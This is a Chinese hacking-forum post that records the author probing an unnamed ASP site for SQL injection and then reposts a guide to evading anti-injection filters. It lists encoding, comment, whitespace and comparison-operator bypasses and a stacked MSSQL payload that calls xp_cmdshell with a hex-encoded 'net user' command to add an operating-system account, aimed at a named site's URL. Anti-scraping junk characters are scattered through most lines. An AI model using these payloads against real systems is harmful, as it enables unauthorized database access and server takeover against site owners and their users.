中国网络渗透测试联盟

标题: 饶过防注入系统方法总结 [打印本页]

作者: admin    时间: 2012-9-15 14:47
标题: 饶过防注入系统方法总结
路过这个网站,检测了一下.
! u/ ]' e/ b7 Vhttp://www.xxx.cn/Article.asp?ID=117 and 1=19 l( t% a1 _6 I  f
直接返回主页& v. [& G2 J. A+ S$ `4 ~( \. [( D$ A
http://www.xxx.cn/Article.asp?ID=117 or 1=1
: l& f7 V3 g" c! S, S直接返回主页5 x; l' Q+ a7 q: u* J9 a+ ?
http://www.xxx.cn/Article.asp?ID=117 or5 ~. U, A- [# X% T$ M  _1 M4 ]8 j* z
没有返回主页 没有过滤or2 e/ A/ _2 M  M$ |3 h2 y
http://www.xxx.cn/Article.asp?ID=117 and
5 k! I3 b* L: z$ z直接返回主页 看来过滤了and: X6 y9 q6 d0 {, A' F  w
http://www.xxx.cn/Article.asp?ID=117 or 1' @/ u/ `8 q6 l. N
没有返回主页 即没有过滤or 也没有过滤1/ @7 I& `2 n; B+ l& ?* o
http://www.xxx.cn/Article.asp?ID=117 or 1=1
( F6 Z9 F5 f4 y直接返回主页 很明显过滤了等号
( {1 P* N; ?, _$ F9 ior的特性是与and相反的.& _1 {9 |0 i! ^- X' Z
or 1=1 爆错 或与原页面不同9 z- V- T6 {0 m+ a: p) k
or 1=2 原页面相同7 f+ ^) D* p; r! s6 k# q2 k" T3 x
这样就是一个注入点* \: G+ _8 i5 a# o7 l
但他过滤了=号 我就用><号代替=号吧!
" m$ c  |4 o+ c, U7 {) L' s# w4 b8 K' [or 1<2 很明显是正确的,所以应该与原页面不同# e7 f& I) a, Q1 W" @
or 1>2 很明显是错误的,所以应该与原页面相同' C$ c1 C: Q, {+ |  Z6 i7 K
然后看看有没有过滤其他的查询语句,比如select.
! O: r# t' ]0 Whttp://www.xxx.cn/Article.asp?ID=117 select
1 u% O- O, S7 C0 y1 u- i7 T! y* R* T直接返回主页
5 ]: a/ K# h% E8 |又迷茫了..% c8 H, p7 m, W) u

0 A4 p, y5 q0 }  q0 b1 |- m! o3 n$ g" G2 g- h4 J2 y
cookies注入.和以下的方法全都试过了,都失败了.还有什么方法可以饶过吗7 I7 q& B. _1 J2 \! u% I
这个系统我以为是my动力,后台却是这样的http://www.xxx.cn/admin.asp(应该不是假够台吧)
0 [2 n- }) t( h" d# [================================================
( }0 z' Z3 \& W/ v* Q8 \% @以下是转贴:
: E* F, E: o' B# r, v1 L' \6 X: X# A) ?- M
突然想我们是否可以用什么方法绕过SQL注入的限制呢?到网上考察了一下,提到的方法大多都是针对AND与“’”号和“=”号过滤的突破,虽然有点进步的地方,但还是有一些关键字没有绕过,由于我不常入侵网站所以也不敢对上述过滤的效果进行评论,但是可以肯定的是,效果不会很好……
; f8 \0 C" u- K经过我的收集,大部分的防注入程序都过滤了以下关键字: 6 Z. d4 _' {) ^: E! A6 k0 A1 m
and | select | update | chr | delete | %20from | ; | insert | mid | master. | set | = 8 U; q# C+ V) \1 X8 J( n: U+ m
而这里最难处理的就是select这个关键字了,那么我们怎样来突破他们呢?问题虽未完全解决,但还是说出来与大家分享一下,希望能抛砖引玉。 / o$ o) N2 Y! O9 P" O
对于关键字的过滤,以下是我收集的以及我个人的一些想法。
6 P! g, k" [) T0 _% `1、运用编码技术绕过 4 m3 r0 F0 z  D* Q: B! E
如URLEncode编码,ASCII编码绕过。例如or 1=1即
0 T8 ]( i- y7 W: c! T+ t9 @%6f%72%20%31%3d%31,而Test也可以为CHAR(101)+CHAR(97)+CHAR(115)+CHAR(116)。
: `. C. l1 V/ z  c/ m" n5 E" r6 a5 M$ C# ]0 [
2、通过空格绕过 / L5 h$ S: X' j1 R! M! f+ O- P
如两个空格代替一个空格,用Tab代替空格等,或者删除所有空格,如 9 S+ z/ c. _3 {" {* F0 X! L4 ?
or’ swords’ =‘swords’
. F( U! z  H, }5 {,由于mssql的松散性,我们可以把or ’swords’ 之间的空格去掉,并不影响运行。
$ }! R, T( B9 v. B, Z. B- U& K& o3、运用字符串判断代替
8 d, E( H7 ~/ |  M用经典的or 1=1判断绕过,如 0 r  @6 D, f3 ?1 ^( I9 P2 k/ z
or ’swords’ =’swords’
( }- z4 d" K* X1 r# u1 j2 Z,这个方法就是网上在讨论的。 - N: J( M' I% ^8 q5 m1 ?
4、通过类型转换修饰符N绕过
( R4 J& }, e8 \* ~* L0 X可以说这是一个不错的想法,他除了能在某种程度上绕过限制,而且还有别的作用,大家自己好好想想吧。关于利用,如or ’swords’ = N’ swords’ ,大写的N告诉mssql server 字符串作为nvarchar类型,它起到类型转换的作用,并不影响注射语句本身,但是可以避过基于知识的模式匹配IDS。 ( V5 U4 p& D% w2 j
5、通过+号拆解字符串绕过 5 P7 O' v( I* ]  Z
效果值得考证,但毕竟是一种方法。如
* L. i3 P5 ~% s" Y9 Z0 Wor ’swords’ =‘sw’ +’ ords’ ;EXEC(‘IN’ +’ SERT INTO ’+’ …..’ )
/ F& _- h8 ^0 q9 z  ^5 R6 V0 S. K: f4 C3 f, Z
6、通过LIKE绕过 ) W/ k. A! ]- U
以前怎么就没想到呢?如or 1 i2 X: o+ M+ Z8 }4 X
’swords’ LIKE ’sw’ + F9 \, D; g+ W* T
!!!显然可以很轻松的绕过
9 f0 x9 n) ]$ [6 g2 O; I“=”“>” 4 h) R  n0 F+ r( v9 O" Q
的限制…… 7 k1 M9 X9 H8 R
7、通过IN绕过 ( i, T3 z: s- g2 k
与上面的LIKE的思路差不多,如 : |. \* e. C" D0 l9 s& r
or ’swords’ IN (’swords’) # u, E3 ~/ N, E* K) I% d2 K

- b/ r, C5 [: n, O, w$ T9 @8、通过BETWEEN绕过
# |5 w: w! u2 a7 z1 h0 g5 K# x1 e6 B! I; R+ l
or ’swords’ BETWEEN ’rw’ AND ’tw’ 4 J4 v8 E" f8 C: e! O5 f% G

, w! R- V" N3 ~: a3 n9、通过>或者<绕过
7 g/ E  T& L! `" z0 Ror ’swords’ > ’sw’ 6 _/ r# c/ E: ^3 G
or ’swords’ < ’tw’ 1 D  {  L9 y2 z6 D7 }+ N
or 1<3
: s2 R. {' j! n, A) r…… % Z1 I" U) M3 Q# L3 }% G& f) C! |
10、运用注释语句绕过 7 l6 K; T3 M# L/ k9 r) C3 B
用/**/代替空格,如:
3 V+ H# T7 x# u) [$ s# |: j' w7 `4 VUNION /**/ Select /**/user,pwd,from tbluser ! u+ z5 O6 ~. V" X- F4 ]

! i3 h0 {& v- r+ S+ `用/**/分割敏感词,如: 0 `7 q7 W' @1 H4 C- |" B
U/**/ NION /**/ SE/**/ LECT /**/user,pwd from tbluser
- x3 c/ C/ w/ P
% e% k# L2 u/ `11、用HEX绕过,一般的IDS都无法检测出来 . k* g, ]- o$ Z
0x730079007300610064006D0069006E00 =hex(sysadmin)
1 ~$ |8 J$ g+ N# h4 c* z1 W" C0x640062005F006F0077006E0065007200 =hex(db_owner) , r: K1 X7 i, O& g
另外,关于通用点的过滤方法,我们可以考虑采用赋值的方法,例如先声明一个变量a,然后把我们的指令赋值给a,然后调用变量a最终执行我们输入的命令。变量a可以是任何命令。如下:
3 y8 i8 L- m3 c7 t/ z2 I' H$ `  declare @a sysname 6 V8 U5 }+ i& G. T
  select @a=
2 i) K* H0 [$ [8 r+ V5 m  exec master.dbo.xp_cmdshell @a
+ p4 N% m" x4 r0 b! [' @效果 , ~+ V+ H  h' R4 Y( b
http://www.ilikeplmm.com/show.asp?id=1;declare%20@a% [email=20sysname%20select%20@a=0x6e006500740020007500730065007200200061006e00670065006c002000700061007300730020002f00610064006400%20exec%20master.dbo.xp_cmdshell%20@a]20sysname%20select%20@a=0x6e006500740020007500730065007200200061006e00670065006c002000700061007300730020002f00610064006400%20exec%20master.dbo.xp_cmdshell%20@a[/email];--
1 W% ^) A# Q( Q6 A% Q* r: n, [7 _9 f# L
其中的
( M2 ]2 z- D4 Q* c2 v$ Z0x6e006500740020007500730065007200200061006e00670065006c002000700061007300730020002f00610064006400 2 A" q" Y2 M! L! A
就是 2 s; `2 W- t! {' X
“net user angel pass /add”7 }" d6 z3 E3 T- l, O1 O& g; B3 h. w* ~% ]
* {6 c% g! n4 B4 \: e
一直以来都以为只有空格,tab键和注释符/**/可以用来切割sql关键字,段时间在邪八看了风迅cms注入漏洞那篇帖子,才知道原来回车也可以用来作为分割符(以前竟然没有想到,真是失败)。回车的ascii码是chr(13)&chr(10),至于为什么要两个连在一起,这个我也不知道。转换成url编码形式是%0d%0a,于是就可以用%0d%0a代替空格pass一些过滤空格的检查了。( r7 C2 K( i! Q/ c+ f8 q% z  _6 n
引申一下,只用%0d能正常执行语句吗?只用%0a呢?测试证明,用任意一种分割在mssql、mysql和access里面都是可以的。& S% N4 N* D; ?% u1 l& k
另外,关于mssql的多语句问题。我以前一直以为必须用分号作为语句的结尾,后来发现,完全不是那样。类似
7 g* w: S  ]+ DCopy code' O; i( Z2 ?/ ]( K& a4 u
select * from table exec xp_cmdshell'xxxxxxxxxx'
8 Y4 A% r% v/ z9 f% W, f1 _
5 M  H: h6 |4 |: S3 _
2 i6 b3 y7 a% `9 v  `# i6 Fselect * from table/**/exec xp_cmdshell'xxxxxxxxxx') I7 ^/ [1 I/ n, `
7 y3 B8 }! d; c
9 C, O; N; e6 m1 G; l6 O* h! F
select * from table|---tab---|exec xp_cmdshell'xxxxxxxxxx'7 V6 Q; ]) @( X1 \

6 q1 r) k. O+ W  G9 D
. V( B, @0 q4 O+ g9 z% pselect * from table|---enter---|exec xp_cmdshell'xxxxxxxxxx'
3 p) Y; u8 G0 e) i; y
5 V+ u0 p% |& F" R- Y$ V的语句都是可以正常执行的。而我以前竟然一直不知道!不过这个貌似跟连接数据库驱动有关系,odbc可以正常执行,sqloledb的话就会报错。有兴趣的继续研究吧?% n% D" y5 y4 A! B6 u

; c/ f/ k+ k' A, F8 @) p/ r这样,以后遇到带空格过滤关键字的拦截程序,又可以发挥发挥了
* c+ N( c' B! C) b* R可能大家早就知道了,不管怎么说,发在这里吧!
& e5 ?6 E' _5 \5 i. k9 A3 F0 V/ d& c, e
最近想起可能还有些ascii码可以用来在sql语句中代替空格,于是写个脚本测试了一下,结果在所有128个低位ascii字符中,chr(12)也可以在access里用,不过貌似chr(12)不能出现在and、or之类的关键词附近,原因不清楚。mysql中比access多一个chr(11)可以。至于mssql,挖日,直接从1到32的ascii码换成字符后都可以正常使用。
& b4 C: O& D1 M$ v7 B; ~8 c& X$ }2 m. m4 T) j/ H" R
8 G  O- D6 x  `( l& a: Z; [" W

" y, z8 q! Q* w' ^$ D/ L* r. N+ [& a对于中间应该出现空格的地方,用()进行替换,不过,对于很复杂的SQL语句就不太好用了。上面说到的是字符型的,如果是数值型,可以在id=1后加一个括号,不过这个我没有测试,
0 ^4 Q! I% L, H* |比如:jmdcw.asp?id=(1)and(select.....),应该是可行的吧?
1 O0 y* I" R9 G* \4 _: J( T8 x, P
7 ~, w( w" e$ S0 O% Q




欢迎光临 中国网络渗透测试联盟 (https://cobjon.com/) Powered by Discuz! X3.2